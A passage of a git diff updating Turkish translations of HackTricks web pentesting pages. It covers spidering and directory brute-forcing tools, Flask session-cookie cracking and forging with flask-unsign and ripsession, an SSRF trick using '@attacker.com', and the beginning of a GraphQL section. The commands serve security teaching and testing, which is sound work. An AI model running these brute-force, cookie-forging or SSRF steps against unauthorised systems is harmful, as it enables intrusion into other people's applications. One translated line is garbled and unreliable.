**parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyin -- **URL'nin** **sonuna** **`/~randomthing/%s`** vererek hata oluşturun -- PATCH, DEBUG veya FAKE gibi **farklı HTTP Fiilleri** deneyin +- **Sahte sayfalara** erişin, örneğin /whatever_fake.php (.aspx,.html,.vbvs) +- **Cookie değerlerine** ve **parametre** değerlerine **"\[]", "]]", ve "\[\["** ekleyerek hatalar oluşturun +- **URL**'nin **sonuna** **`/~randomthing/%s`** vererek hata oluşturun +- **PATCH, DEBUG** gibi **farklı HTTP Fiilleri** veya **FAKE** gibi yanlış olanları deneyin -#### **Dosya yükleyip yükleyemediğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)** +#### **Dosya yükleyip yükleyemeyeceğinizi kontrol edin (**[**PUT fiili, WebDav**](put-method-webdav.md)**)** Eğer **WebDav**'ın **etkin** olduğunu ancak kök klasörde **dosya yüklemek için yeterli izinlerinizin** olmadığını bulursanız, şunları deneyin: -- **Kaba kuvvet** ile kimlik bilgilerini deneyin -- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yükleyin**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir. +- **Kaba kuvvet** ile kimlik bilgilerini denemek +- WebDav aracılığıyla web sayfasındaki **bulunan diğer klasörlere** **dosya yüklemek**. Diğer klasörlerde dosya yüklemek için izinleriniz olabilir. -### **SSL/TLS açıkları** +### **SSL/TLS açıklıkları** -- Uygulama **HTTPS kullanıcısını zorlamıyorsa**, o zaman **MitM'ye karşı savunmasızdır** -- Uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açık demektir. +- Eğer uygulama **kullanıcıyı HTTPS kullanmaya zorlamıyorsa**, o zaman **MitM**'ye karşı **açık** demektir. +- Eğer uygulama **hassas verileri (şifreler) HTTP kullanarak gönderiyorsa**, bu yüksek bir açıklıktır. -**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** kullanarak açıkları yeniden kontrol edin: +**[**testssl.sh**](https://github.com/drwetter/testssl.sh)** aracını kullanarak **açıkları** kontrol edin (Bug Bounty programlarında muhtemelen bu tür açıklıklar kabul edilmeyecektir) ve **[**a2sv**](https://github.com/hahwul/a2sv)** aracını kullanarak açıklıkları yeniden kontrol edin: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -194,23 +194,26 @@ sslyze --regular ``` SSL/TLS zafiyetleri hakkında bilgi: -### Tarama +- [https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/](https://www.gracefulsecurity.com/tls-ssl-vulnerabilities/) +- [https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/](https://www.acunetix.com/blog/articles/tls-vulnerabilities-attacks-final-part/) -Web üzerinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır. +### Spidering -- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML tarayıcı, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). -- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML tarayıcı, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile. -- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML tarayıcı, ayrıca "juicy files" gösterir. -- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML tarayıcı. Ayrıca Archive.org'da arama yapar. -- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir tarayıcı değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder. -- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS render yeteneklerine sahip HTML tarayıcı. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor. -- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcılar (wayback, otx, commoncrawl) kullanan HTML tarayıcı. -- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu betik, parametre içeren URL'leri bulacak ve listeleyecektir. -- [**galer**](https://github.com/dwisiswant0/galer) (go): JS render yeteneklerine sahip HTML tarayıcı. -- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML tarayıcı, JS dosyalarında yeni yollar aramak için JS beautify yeteneklerine sahip. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir. +Web üzerinde bir tür **spider** başlatın. Spider'ın amacı, test edilen uygulamadan **mümkün olduğunca fazla yol bulmaktır**. Bu nedenle, web taraması ve harici kaynaklar kullanılarak mümkün olduğunca fazla geçerli yol bulunmalıdır. + +- [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, JS dosyalarındaki LinkFinder ve harici kaynaklar (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). +- [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, JS dosyaları için LinkFinder ve harici kaynak olarak Archive.org ile. +- [**dirhunt**](https://github.com/Nekmo/dirhunt) (python): HTML spider, ayrıca "juicy files" gösterir. +- [**evine** ](https://github.com/saeeddhqan/evine)(go): Etkileşimli CLI HTML spider. Ayrıca Archive.org'da arama yapar. +- [**meg**](https://github.com/tomnomnom/meg) (go): Bu araç bir spider değildir ama faydalı olabilir. Sadece bir dosya ile hostları ve bir dosya ile yolları belirtebilir ve meg her hosttaki her yolu alır ve yanıtı kaydeder. +- [**urlgrab**](https://github.com/IAmStoxe/urlgrab) (go): JS renderleme yeteneklerine sahip HTML spider. Ancak, bakımsız görünüyor, önceden derlenmiş versiyonu eski ve mevcut kod derlenmiyor. +- [**gau**](https://github.com/lc/gau) (go): Harici sağlayıcıları (wayback, otx, commoncrawl) kullanan HTML spider. +- [**ParamSpider**](https://github.com/devanshbatham/ParamSpider): Bu script, parametre içeren URL'leri bulacak ve listeleyecektir. +- [**galer**](https://github.com/dwisiswant0/galer) (go): JS renderleme yeteneklerine sahip HTML spider. +- [**LinkFinder**](https://github.com/GerbenJavado/LinkFinder) (python): HTML spider, JS dosyalarında yeni yollar arayabilen JS beautify yetenekleri ile. Ayrıca [JSScanner](https://github.com/dark-warlord14/JSScanner) adlı LinkFinder'ın bir sarmalayıcısına da göz atmak faydalı olabilir. - [**goLinkFinder**](https://github.com/0xsha/GoLinkFinder) (go): Hem HTML kaynağında hem de gömülü javascript dosyalarında uç noktaları çıkarmak için. Hata avcıları, kırmızı takım üyeleri, infosec ninja'ları için faydalı. -- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 betiği. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor. -- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) URL'leri çıkaracak ve çirkin (minify) dosyalardan göreli URL'leri bulmak ve çıkarmak için şık bir düzenli ifade kullanacaktır. +- [**JSParser**](https://github.com/nahamsec/JSParser) (python2.7): JavaScript dosyalarından göreli URL'leri ayrıştırmak için Tornado ve JSBeautifier kullanan bir python 2.7 scripti. AJAX isteklerini kolayca keşfetmek için faydalı. Bakımsız görünüyor. +- [**relative-url-extractor**](https://github.com/jobertabma/relative-url-extractor) (ruby): Verilen bir dosyadan (HTML) göreli URL'leri bulmak için şık bir düzenli ifade kullanarak çıkarır. - [**JSFScan**](https://github.com/KathanP19/JSFScan.sh) (bash, çeşitli araçlar): JS dosyalarından ilginç bilgiler toplamak için çeşitli araçlar kullanır. - [**subjs**](https://github.com/lc/subjs) (go): JS dosyalarını bulur. - [**page-fetch**](https://github.com/detectify/page-fetch) (go): Başsız bir tarayıcıda bir sayfayı yükler ve sayfayı yüklemek için yüklenen tüm URL'leri yazdırır. @@ -220,26 +223,26 @@ Web üzerinde bir tür **tarayıcı** başlatın. Tarayıcının amacı, test ed - [**xnLinkFinder**](https://github.com/xnl-h4ck3r/xnLinkFinder): Belirli bir hedef için uç noktaları keşfetmek için kullanılan bir araç. - [**waymore**](https://github.com/xnl-h4ck3r/waymore)**:** Wayback makinesinden bağlantıları keşfedin (aynı zamanda yanıtları indirin ve daha fazla bağlantı arayın). - [**HTTPLoot**](https://github.com/redhuntlabs/HTTPLoot) (go): Form doldurarak tarama yapın ve belirli regex'ler kullanarak hassas bilgileri bulun. -- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcı/Taraycıdır. -- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, sırları ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). -- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): ParaForge, **fuzzing** ve **enumeration** için özel kelime listesi oluşturmak amacıyla istekteki parametreleri ve uç noktaları **çıkarmak** için basit bir **Burp Suite uzantısıdır**. +- [**SpiderSuite**](https://github.com/3nock/SpiderSuite): Spider Suite, siber güvenlik profesyonelleri için tasarlanmış gelişmiş çok özellikli GUI web güvenlik Tarayıcısı/Spider'dır. +- [**jsluice**](https://github.com/BishopFox/jsluice) (go): URL'leri, yolları, gizli bilgileri ve JavaScript kaynak kodundan diğer ilginç verileri çıkarmak için bir Go paketi ve [komut satırı aracı](https://github.com/BishopFox/jsluice/blob/main/cmd/jsluice). +- [**ParaForge**](https://github.com/Anof-cyber/ParaForge): Fuzzing ve enumeration için özel kelime listesi oluşturmak amacıyla istekten parametreleri ve uç noktaları çıkarmak için basit bir **Burp Suite uzantısı**. - [**katana**](https://github.com/projectdiscovery/katana) (go): Bunun için harika bir araç. - [**Crawley**](https://github.com/s0rg/crawley) (go): Bulabildiği her bağlantıyı yazdırır. -### Dizileri ve dosyaları Brute Force ile kırma +### Brute Force dizinleri ve dosyaları -Kök klasörden **brute-forcing** yapmaya başlayın ve **bu yöntemle bulunan** **tüm dizileri** ve **Spidering** ile **keşfedilen** dizileri brute-force ile kırdığınızdan emin olun (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizilerin adlarını ekleyebilirsiniz).\ +Kök klasörden **brute-forcing**'e başlayın ve **bu yöntemle bulunan** tüm **dizinleri** ve **Spidering** ile **keşfedilen** tüm dizinleri brute-force yapmayı unutmayın (bu brute-forcing'i **özyinelemeli** olarak yapabilir ve kullanılan kelime listesinin başına bulunan dizinlerin adlarını ekleyebilirsiniz).\ Araçlar: -- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklerle karşılaştırıldığında çok yavaş. +- **Dirb** / **Dirbuster** - Kali'de dahil, **eski** (ve **yavaş**) ama işlevsel. Otomatik imzalı sertifikalara ve özyinelemeli aramaya izin verir. Diğer seçeneklere göre çok yavaş. - [**Dirsearch**](https://github.com/maurosoria/dirsearch) (python)**: Otomatik imzalı sertifikalara izin vermez ama** özyinelemeli aramaya izin verir. -- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yoktur**. +- [**Gobuster**](https://github.com/OJ/gobuster) (go): Otomatik imzalı sertifikalara izin verir, **özyinelemeli** arama **yapmaz**. - [**Feroxbuster**](https://github.com/epi052/feroxbuster) **- Hızlı, özyinelemeli aramayı destekler.** - [**wfuzz**](https://github.com/xmendez/wfuzz) `wfuzz -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt https://domain.com/api/FUZZ` - [**ffuf** ](https://github.com/ffuf/ffuf)- Hızlı: `ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://10.10.10.10/FUZZ` -- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir tarayıcı değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri silmek için bir araçtır. -- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden dizinler oluşturmak için Burp Uzantısı. -- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): İşlevselliği tekrarlanan URL'leri kaldırır (js importlarına dayalı). +- [**uro**](https://github.com/s0md3v/uro) (python): Bu bir spider değildir ama bulunan URL'lerin listesini vererek "tekrarlanan" URL'leri siler. +- [**Scavenger**](https://github.com/0xDexter0us/Scavenger): Farklı sayfaların burp geçmişinden bir dizin listesi oluşturmak için Burp Uzantısı. +- [**TrashCompactor**](https://github.com/michael1026/trashcompactor): Tekrarlanan işlevselliğe sahip URL'leri kaldırır (js importlarına dayalı). - [**Chamaleon**](https://github.com/iustin24/chameleon): Kullanılan teknolojileri tespit etmek için wapalyzer kullanır ve kullanılacak kelime listelerini seçer. **Tavsiye edilen sözlükler:** @@ -261,41 +264,41 @@ Araçlar: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Bruteforcing veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._ +_Bruteforcing veya spidering sırasında yeni bir dizin keşfedildiğinde, bu dizin de Brute-Forced edilmelidir._ ### Bulunan her dosyada kontrol edilecekler -- [**Kırık bağlantı kontrolörü**](https://github.com/stevenvachon/broken-link-checker): Ele geçirme riski taşıyan HTML'ler içindeki kırık bağlantıları bulun. -- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm yürütülebilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırma için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.** -- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her yürütülebilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.** +- [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Ele geçirilme riski taşıyan HTML'ler içindeki bozuk bağlantıları bulur. +- **Dosya Yedekleri**: Tüm dosyaları bulduktan sonra, tüm çalıştırılabilir dosyaların yedeklerini arayın ("_.php_", "_.aspx_"...). Yedek bir dosya adlandırması için yaygın varyasyonlar: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp ve file.old._ Ayrıca [**bfac**](https://github.com/mazen160/bfac) **veya** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)** aracını kullanabilirsiniz.** +- **Yeni parametreleri keşfedin**: Gizli parametreleri keşfetmek için [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **ve** [**Param Miner**](https://github.com/PortSwigger/param-miner) **gibi araçları kullanabilirsiniz. Mümkünse, her çalıştırılabilir web dosyasında gizli parametreleri aramayı deneyebilirsiniz.** - _Arjun tüm varsayılan kelime listeleri:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) - **Yorumlar:** Tüm dosyaların yorumlarını kontrol edin, **kimlik bilgileri** veya **gizli işlevsellik** bulabilirsiniz. -- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, **bilgiyi** sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda veriyi göremeyecek şekilde **yüzlerce** **boşluk** kullanarak) **gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve **bilgiyi** web sayfasının **altında** bir yorumda **gizlemektir**. +- Eğer **CTF** oynuyorsanız, "yaygın" bir hile, sayfanın **sağında** (tarayıcı ile kaynak kodunu açtığınızda verileri göremeyeceğiniz kadar **birçok** **boşluk** kullanarak) **bilgileri gizlemektir**. Diğer bir olasılık, **birkaç yeni satır** kullanmak ve web sayfasının **altında** bir yorumda **bilgileri gizlemektir**. - **API anahtarları**: Eğer **herhangi bir API anahtarı** bulursanız, farklı platformların API anahtarlarını nasıl kullanacağınızı gösteren bir kılavuz vardır: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) - Google API anahtarları: Eğer **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik gibi görünen bir API anahtarı bulursanız, anahtarın erişebileceği API'leri kontrol etmek için [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) projesini kullanabilirsiniz. -- **S3 Buckets**: Tarama sırasında herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket** ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin**](buckets/). +- **S3 Buckets**: Spidering yaparken herhangi bir **alt alan adı** veya herhangi bir **bağlantının** bazı **S3 bucket**'ları ile ilişkili olup olmadığını kontrol edin. Bu durumda, [**bucket'ın** **izinlerini kontrol edin](buckets/index.html). ### Özel bulgular -**Tarama** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz. +**Spidering** ve **brute-forcing** yaparken, **dikkat etmeniz gereken** **ilginç** **şeyler** bulabilirsiniz. **İlginç dosyalar** - **CSS** dosyaları içinde diğer dosyalara **bağlantılar** arayın. - [Eğer bir _**.git**_ dosyası bulursanız, bazı bilgiler çıkarılabilir](git.md) - Eğer bir _**.env**_ bulursanız, API anahtarları, veritabanı şifreleri ve diğer bilgiler bulunabilir. -- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzer" görünecektir. -- **JS dosyaları**: Tarama bölümünde, JS dosyalarından yol çıkarabilen çeşitli araçlar bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin, [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz. -- Ayrıca, keşfedilen JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol etmelisiniz. +- Eğer **API uç noktaları** bulursanız, [bunları da test etmelisiniz](web-api-pentesting.md). Bunlar dosya değildir, ama muhtemelen "onlara benzerler". +- **JS dosyaları**: Spidering bölümünde, JS dosyalarından yol çıkarabilen birkaç araçtan bahsedilmiştir. Ayrıca, bulunan her JS dosyasını **izlemek** de ilginç olacaktır, çünkü bazı durumlarda, bir değişiklik, kodda potansiyel bir zafiyetin tanıtıldığını gösterebilir. Örneğin [**JSMon**](https://github.com/robre/jsmon)**'u** kullanabilirsiniz. +- Bulunan JS dosyalarını [**RetireJS**](https://github.com/retirejs/retire.js/) veya [**JSHole**](https://github.com/callforpapers-source/jshole) ile kontrol ederek zayıf olup olmadığını bulmalısınız. - **Javascript Deobfuscator ve Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (karakterlerle javascript: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Birçok durumda, kullanılan **düzenli ifadeleri** **anlamanız** gerekecektir. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) -- Ayrıca, **formların tespit edildiği dosyaları** **izlemelisiniz**, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir. +- Birçok durumda, kullanılan **düzenli ifadeleri** anlamanız gerekecek. Bu faydalı olacaktır: [https://regex101.com/](https://regex101.com) veya [https://pythonium.net/regex](https://pythonium.net/regex) +- Ayrıca, **formların tespit edildiği dosyaları** izlemelisiniz, çünkü bir parametredeki değişiklik veya yeni bir formun görünmesi, potansiyel yeni bir zayıf işlevselliği gösterebilir. **403 Yasaklı/Temel Kimlik Doğrulama/401 Yetkisiz (bypass)** @@ -305,7 +308,7 @@ _Bruteforcing veya tarama sırasında yeni bir dizin keşfedildiğinde, bu dizin **502 Proxy Hatası** -Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak** ve bir **SSRF** bulmuş olacaksınız. +Eğer herhangi bir sayfa bu **kodla** **yanıt verirse**, muhtemelen **kötü yapılandırılmış bir proxy** vardır. **`GET https://google.com HTTP/1.1`** gibi bir HTTP isteği gönderirseniz (host başlığı ve diğer yaygın başlıklarla), **proxy** _**google.com**_ **erişmeye çalışacak ve bir** SSRF **bulmuş olacaksınız.** **NTLM Kimlik Doğrulama - Bilgi ifşası** @@ -313,9 +316,9 @@ Eğer çalışan sunucu kimlik doğrulama istiyorsa **Windows** ise veya **kimli **Başlığı gönderin**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` ve **NTLM kimlik doğrulamanın** nasıl çalıştığı nedeniyle, sunucu "WWW-Authenticate" başlığında iç bilgi (IIS versiyonu, Windows versiyonu...) ile yanıt verecektir.\ Bunu **nmap eklentisi** "_http-ntlm-info.nse_" kullanarak **otomatikleştirebilirsiniz**. -**HTTP Yönlendirmesi (CTF)** +**HTTP Yönlendirme (CTF)** -Bir **Yönlendirme** içinde **içerik** **yerleştirmek** mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir. +Bir **Yönlendirme** içinde **içerik** yerleştirmek mümkündür. Bu içerik **kullanıcıya gösterilmeyecek** (çünkü tarayıcı yönlendirmeyi gerçekleştirecektir) ama orada **gizli** bir şey olabilir. ### Web Zafiyetlerini Kontrol Etme @@ -333,7 +336,7 @@ Web zafiyetleri hakkında daha fazla bilgi için: ### Sayfaları değişiklikler için izleme -Değişiklikleri izlemek için [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz. +Vulnerabiliteleri ekleyebilecek değişiklikler için sayfaları izlemek üzere [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) gibi araçlar kullanabilirsiniz. ### HackTricks Otomatik Komutlar ``` diff --git a/src/network-services-pentesting/pentesting-web/flask.md b/src/network-services-pentesting/pentesting-web/flask.md index 17c4aa9f8..aad3eb3ce 100644 --- a/src/network-services-pentesting/pentesting-web/flask.md +++ b/src/network-services-pentesting/pentesting-web/flask.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** ile ilgili olacaktır.** +**Muhtemelen bir CTF oynuyorsanız, bir Flask uygulaması** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** ile ilgili olacaktır.** ## Cookies @@ -34,7 +34,7 @@ pip3 install flask-unsign ```bash flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.XDuWxQ.E2Pyb6x3w-NODuflHoGnZOEpbH8' ``` -#### **Kaba Kuvvet** +#### **Brute Force** ```bash flask-unsign --wordlist /usr/share/wordlists/rockyou.txt --unsign --cookie '' --no-literal-eval ``` @@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy ``` ### **RIPsession** -Cookie'leri flask-unsign ile oluşturulmuş sitelere brute-force saldırısı yapmak için komut satırı aracı. +Flask-unsign ile oluşturulmuş çerezleri kullanarak web sitelerini brute-force yapmak için komut satırı aracı. {{#ref}} https://github.com/Tagvi/ripsession @@ -56,13 +56,13 @@ https://github.com/Tagvi/ripsession ```bash ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s password123 -f "user doesn't exist" -w wordlist.txt ``` -### SQLi in Flask session cookie with SQLmap +### Flask oturum çerezinde SQLi ve SQLmap -[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) sqlmap `eval` seçeneğini kullanarak **flask için sqlmap yüklerini otomatik olarak imzalamak** için bilinen bir gizli anahtar kullanır. +[**Bu örnek**](../../pentesting-web/sql-injection/sqlmap/index.html#eval), bilinen bir gizli anahtar kullanarak Flask için sqlmap yüklerini **otomatik olarak imzalamak** üzere sqlmap `eval` seçeneğini kullanır. -## Flask Proxy to SSRF +## Flask Proxy ile SSRF -[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır: +[**Bu yazıda**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies), Flask'ın "@" karakteri ile başlayan bir isteğe nasıl izin verdiği açıklanmaktadır: ```http GET @/ HTTP/1.1 Host: target.com @@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content app.run(host='0.0.0.0', port=8080) ``` -Şunu eklemeye izin verebilir: "@attacker.com" gibi bir şey, **SSRF** oluşturmak için. +Şeytanın bir **SSRF** oluşturmasına neden olmak için "@attacker.com" gibi bir şeyin tanıtılmasına izin verebilir. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/graphql.md b/src/network-services-pentesting/pentesting-web/graphql.md index 94f80c2d0..6231f687b 100644 --- a/src/network-services-pentesting/pentesting-web/graphql.md +++ b/src/network-services-pentesting/pentesting-web/graphql.md @@ -4,7 +4,7 @@ ## Giriş -GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak REST API'ye **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL, gerekli tüm bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**. +GraphQL, arka uçtan veri sorgulamak için basitleştirilmiş bir yaklaşım sunarak **REST API'ye** **verimli bir alternatif** olarak **vurgulanmaktadır**. REST'in, verileri toplamak için genellikle çeşitli uç noktalar arasında çok sayıda isteği gerektirmesiyle karşılaştırıldığında, GraphQL tüm gerekli bilgilerin **tek bir istekle** alınmasını sağlar. Bu basitleştirme, veri alma süreçlerinin karmaşıklığını azaltarak **geliştiricilere** önemli ölçüde **fayda sağlar**. ## GraphQL ve Güvenlik @@ -12,7 +12,7 @@ Yeni teknolojilerin, GraphQL dahil, ortaya çıkmasıyla birlikte yeni güvenlik ### Dizin Kaba Kuvvet Saldırıları ve GraphQL -Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların dahil edilmesi önerilmektedir. Bu yollar şunlardır: +Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına belirli yolların eklenmesi önerilmektedir. Bu yollar şunlardır: - `/graphql` - `/graphiql` @@ -23,7 +23,7 @@ Açık GraphQL örneklerini belirlemek için dizin kaba kuvvet saldırılarına - `/graphql/api` - `/graphql/graphql` -Açık GraphQL örneklerini belirlemek, desteklenen sorguların incelenmesine olanak tanır. Bu, uç nokta üzerinden erişilebilen verilerin anlaşılması için kritik öneme sahiptir. GraphQL'in introspeksiyon sistemi, bir şemanın desteklediği sorguları detaylandırarak bu süreci kolaylaştırır. Bununla ilgili daha fazla bilgi için GraphQL'in introspeksiyon belgelerine bakın: [**GraphQL: API'ler için bir sorgu dili.**](https://graphql.org/learn/introspection/) +Açık GraphQL 